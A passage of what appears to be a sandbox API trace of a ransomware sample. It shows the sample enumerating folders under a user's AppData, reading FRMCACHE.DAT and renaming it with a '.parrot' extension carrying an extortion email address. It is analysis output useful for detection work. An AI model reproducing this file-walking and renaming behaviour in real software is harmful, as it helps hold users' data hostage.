ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0076.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb2e0 | out: hHeap=0x5b0000) returned 1 [0076.303] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0076.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0076.303] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1 [0076.303] lstrcmpW (lpString1="D68G7BIJ", lpString2=".") returned 1 [0076.303] lstrcmpW (lpString1="D68G7BIJ", lpString2="..") returned 1 [0076.303] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.303] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.303] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.304] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.304] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.304] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0076.304] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0076.304] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0076.304] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.304] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.304] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0076.304] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0076.304] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0076.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb2e0 | out: hHeap=0x5b0000) returned 1 [0076.304] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0076.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0076.304] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0076.304] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2bc126f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0076.304] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1 [0076.304] lstrcmpW (lpString1="KQMHSVKD", lpString2=".") returned 1 [0076.304] lstrcmpW (lpString1="KQMHSVKD", lpString2="..") returned 1 [0076.305] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.305] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.305] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.305] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.305] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.305] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0076.305] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0076.305] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x52d90010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieonline.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 1 [0076.305] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x52d90010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieonline.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 0 [0076.305] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.305] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.305] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0076.305] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0076.305] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x52d90010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieonline.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 1 [0076.305] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0x52d90010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieonline.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 0 [0076.305] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb2e0 | out: hHeap=0x5b0000) returned 1 [0076.305] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0076.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0076.306] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0 [0076.306] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.307] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.308] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1 [0076.308] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1 [0076.308] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1 [0076.308] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0076.308] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2bc126f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0076.308] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1 [0076.308] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 0 [0076.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0076.308] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0076.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0076.308] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0076.308] lstrcmpW (lpString1="FORMS", lpString2=".") returned 1 [0076.308] lstrcmpW (lpString1="FORMS", lpString2="..") returned 1 [0076.308] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.309] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.309] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d1d6940, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.309] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.309] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.309] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x3d1d6940, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x3d757c20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x3c0dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRMCACHE.DAT", cAlternateFileName="")) returned 1 [0076.335] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.335] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0076.346] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.346] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3c0dc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x3c0dc, lpOverlapped=0x0) returned 1 [0076.403] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.414] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\frmcache.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\FRMCACHE.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\forms\\frmcache.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.416] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d268 | out: hHeap=0x5b0000) returned 1 [0076.416] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.416] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0076.423] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\FORMS\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.423] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3d1d6940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xbb07bf00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbb07bf00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.423] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3d1d6940, 